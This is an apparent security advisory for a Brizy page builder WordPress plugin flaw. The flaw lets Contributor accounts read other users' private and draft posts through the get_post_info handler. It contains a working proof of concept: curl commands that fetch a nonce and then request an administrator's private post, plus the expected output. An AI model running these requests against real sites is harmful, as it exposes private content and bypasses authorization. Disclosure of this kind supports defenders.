Brizy – Page Builder < 2.8.18 – Contributor+ Sensitive Information Disclosure via get_post_info | CVE 2026-14195

Description

The plugin does not properly verify authorization on a request handler before returning post content, allowing users with the Contributor role or higher to read the content of arbitrary posts, including other users' private, pending, and draft posts.

Proof of Concept

Prerequisites: a Contributor account (no Brizy content required). Victim: an Administrator with a private or draft post (id 5 below) containing non-public content.

# Run as the Contributor (session cookies saved in $JAR). BASE = target site URL.
BASE="https://victim.example"; AJAX="$BASE/wp-admin/admin-ajax.php"

# 1) Obtain a valid brizy-api nonce (the plugin hands one to any logged-in user):
NONCE=$(curl -sk -b "$JAR" "$AJAX" -d 'action=brizy_heartbeat&hash=invalid' | jq -r '.data.hash')

# 2) Read an Administrator's private post body by id (note: no 'post' param is sent):
curl -sk -b "$JAR" "$AJAX" \
  --data-urlencode "action=brizy_get_post_info" \
  --data-urlencode "post_id=5" \
  --data-urlencode "version=365-wp" \
  --data-urlencode "hash=$NONCE"
# Expected: {"success":true,"data":{"ID":5,"post_title":"...","post_content":"...private content..."}}

Negative control: as the same Contributor, GET /wp-json/wp/v2/posts/5 returns 401, and sending the target id in the checked 'post' parameter is denied ("You are not allowed to edit this post"), confirming the authorization gate operates on a different parameter than the one used to load the post.

Note: 'version' is a public per-release editor constant (358-wp for 2.8.12, 365-wp for 2.8.17).